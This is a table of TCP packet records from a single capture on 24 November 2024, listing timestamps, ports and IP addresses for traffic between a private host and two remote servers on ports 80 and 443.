Nov 24, 2024 19:11:53.789684057 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.789737940 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.789788961 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.790596008 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.790610075 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.790638924 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.790654898 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.790657043 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.790668011 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.790705919 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.790719032 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.790724039 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.790743113 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.790761948 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.790786028 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.791498899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.791553974 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.791557074 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.791611910 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.791711092 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.792540073 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.792551041 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.792722940 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.793495893 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.793554068 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.793620110 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.793670893 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.794680119 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.794720888 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.794794083 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.794838905 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.795526981 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.795582056 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.795655012 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.795754910 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.796256065 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.796269894 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.796303988 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.797494888 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.797544003 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.798254013 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.798317909 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.798331022 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.798348904 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.798358917 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.798372030 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.798382998 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.798403978 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.803908110 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.803931952 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.803987980 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.803997993 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.810786009 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.810803890 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.810899019 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.810899019 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.810910940 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.816298008 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.816338062 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.816384077 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.816405058 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.816703081 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.816768885 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.816792011 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.817511082 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.817773104 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.817786932 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.817802906 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.817822933 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.817862988 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.817879915 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.817890882 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.817933083 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.818434000 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.818480015 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.818487883 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.818818092 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.819214106 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.819269896 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.819271088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.819329977 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.820142984 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.820192099 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.820204020 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.820347071 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.821100950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.821240902 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.821336031 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.822326899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.822376966 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.822545052 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.822592020 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.823525906 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.823590040 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.823642015 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.823704004 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.824286938 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.824306965 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.824347973 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.824357986 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.824378014 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.824551105 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.824603081 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.824629068 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.824686050 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.830413103 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.830427885 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.830471992 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.830482960 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.830508947 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.835824013 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.835856915 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.835948944 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.835948944 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.835958958 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.874002934 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.874082088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.874090910 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.874253035 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.874506950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.874602079 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.874631882 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.874682903 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.875416040 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.875464916 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.875483990 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.875509977 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.876300097 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.876352072 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.876447916 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.877115011 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.877334118 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.877408981 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.877481937 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.877540112 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.878094912 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.878169060 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.878187895 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.878326893 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.878885031 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.878957033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.879018068 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.879703999 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.879767895 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.879805088 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.879897118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.880688906 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.880806923 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.880856991 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.881606102 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.881669044 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.881699085 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.881788969 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.882508039 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.882569075 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.882641077 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.883075953 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.883162022 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.883629084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.883681059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.883733988 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.884393930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.884469032 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.884500027 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.884577036 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.885282040 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.885365963 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.941497087 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.941512108 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.941572905 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.941591024 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.941744089 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.941840887 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.941860914 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.942512989 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.942635059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.942814112 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.942977905 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.943018913 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.943025112 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.943065882 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.943970919 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.944047928 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.944077015 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.944087982 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.944886923 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.944951057 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.944977999 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.945014000 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.946132898 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.946191072 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.946243048 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.946311951 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.947144032 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.947226048 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.947329998 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.947418928 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.948123932 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.948249102 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.948251963 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.948347092 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.948971033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.949033022 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.949060917 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.949109077 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.949733973 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.949841022 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.949950933 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.950309038 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.950607061 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.950748920 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.950758934 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.950802088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.951822996 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.951868057 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.951889038 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.951909065 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.952805042 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.952883005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.952936888 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.974750996 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.974764109 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.974823952 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.974848032 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.975039959 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.975158930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.975203037 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.976448059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.976663113 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.976716995 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.977371931 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.977431059 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.977442980 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.977488041 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.978353024 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.978404045 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.978413105 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.978456974 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.978965044 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.979043961 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.979067087 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.979111910 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.979981899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.980067015 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.980127096 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.980276108 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.981009960 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.981031895 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.981069088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.981086016 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.981657028 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.981703997 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.981719017 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.981951952 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.982774973 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.982786894 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.982836962 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.982850075 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.983521938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.983572960 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.983675003 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.983803034 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.984446049 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.984532118 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.984585047 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.985482931 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.985553026 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.985563993 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.985658884 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.986279011 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.986335993 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.986401081 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.986546993 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.987287045 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.987354040 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.987374067 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.987416029 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.988157988 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.988282919 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.988303900 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.988367081 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.989326000 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.989370108 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.989434004 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.989516020 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.991741896 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.991751909 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.991779089 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.991795063 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.991822004 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.991827011 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.991831064 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.991873980 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.998387098 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.998394966 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.998420000 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.998426914 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.998461962 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.998472929 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.998488903 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.998517036 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:54.005120993 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:54.005129099 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:54.005152941 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:54.005187988 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:54.005197048 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:54.005232096 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:54.005247116 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:54.008102894 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.008194923 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.008224964 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.008240938 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.008517027 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.008567095 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.008625031 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.008724928 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.009279966 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.009341955 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.009365082 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.009404898 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.010103941 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.010198116 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.010416031 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.010494947 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.010672092 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.011013031 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:54.011030912 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:54.011075020 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:54.011084080 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:54.011110067 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:54.011122942 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:54.011374950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.011517048 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.011579990 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.012069941 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.012213945 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.012253046 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.012259007 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.012367964 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.013071060 CET	443	49791	23.209.72.40	192.168.2.8
